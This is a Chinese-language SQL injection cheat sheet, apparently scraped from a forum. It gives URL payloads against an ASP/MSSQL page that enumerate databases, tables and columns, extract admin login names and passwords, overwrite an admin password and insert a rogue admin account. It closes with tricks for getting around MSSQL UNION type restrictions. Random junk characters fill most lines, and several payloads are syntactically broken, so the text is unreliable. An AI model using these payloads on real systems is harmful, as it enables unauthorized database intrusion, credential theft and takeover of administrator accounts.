爆库:
% |4 }$ a& m H# u/ Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--0 y2 O9 i7 \! y* R7 t+ a$ d
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.( B( c1 n. L f( ?2 h- x
爆下一个库:
7 p, }0 `! }' J3 z2 thttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--7 P4 Z: K( M0 \, I
' n' j H0 F4 [1 x j- N
爆表:+ a6 n! K7 U. J2 U( Q
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
4 Q+ S6 ?9 L; i% Q- j& q3 @
! \+ ?2 P% K( x" i1 X; zSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
9 a8 e) s6 b2 c' R5 {# C' I9 b3 n5 u8 r Z$ [& J
爆下一个表" R( j8 A1 b) @1 E, ^
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')-- ~: O8 I5 q4 R" q
( l) e; p \1 w" {' C
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--, C: U" N& i: ~+ h# v' d* e
2 j9 ~+ x |$ q0 S
! t& a3 F# o2 T$ M
* g1 E# W$ `4 i4 [爆字段:* y* ?) K# g( i& A
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--9 Q2 |; n3 w$ {. H& f+ @8 ?( e
& q4 }/ v* w& d( ^ @& Y* s爆下一个字段4 [" d8 k$ _- v5 n1 i
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--( j) K V% S# C A( Z: ?* m9 j
- h. t% \4 j6 J$ h+ C: ]& m1 K
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
3 U# v+ O3 F' G2 G/ [5 }5 d, n6 E2 e: v, m
: j: J& s1 c6 e( k爆字段里的内容
2 I7 X% }$ F2 T% F' q; k0 u3 Fhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
6 k1 _( u$ W/ F! H; R
1 Y4 r9 H' I" X+ w8 y; F; B+ hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
$ |0 \' C" E: }8 V; O+ a/ e' S' L
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
; d/ P2 O! e' B' k: Q
A9 I2 ?) _+ C) [% {http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--, `' K( L- i$ R" V; z, n
' z+ S' v& s5 B8 [( r( x
更新字段里的内容5 T/ w' C0 K) k* W
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
" L( A' A3 u& p4 o2 R+ U3 l7 \
* ?* M U/ K. `9 K6 Jhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--0 Y6 q* q0 p$ ~4 u- V
# m/ X1 @; B' @) d6 @
+ l* c6 r4 |* j) S8 h: D4 F+ q2 Z& E& t2 U' m9 E/ U8 _' p0 [! p Y
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
* J/ {# x3 G. C4 j4 n/ J* | 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
O4 b) o3 s5 I7 b 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
' u& ]( f3 w2 R# w3 _& w 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
$ H$ k4 `, p4 P% A% \! f# B' u8 F8 H5 O! F
突了了大部份限制的语句
3 q' o) u" b: A% P( jand 1=2 union all select char(49),char(50),null,null;--4 ?/ m( ?. y" T" {0 y* K9 D
3 i* r2 d/ H, M( c9 {$ n; H* q
$ w% U2 g% M' O& i1 [" J) X1 Fnull也可以正常执行,不过没有回显,不好判断回显的列数。
+ V4 Y; s8 L. J) L2 F/ A一般union遇到问题都是有text或者ntext字段,image的很少遇到
4 s$ J, k x( `0 D* J! v" v( r- M
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
4 J9 j, g8 q: \! x6 F+ K. W
* p* N) G5 p( _& G( ^
8 F2 g$ _5 u# K! G |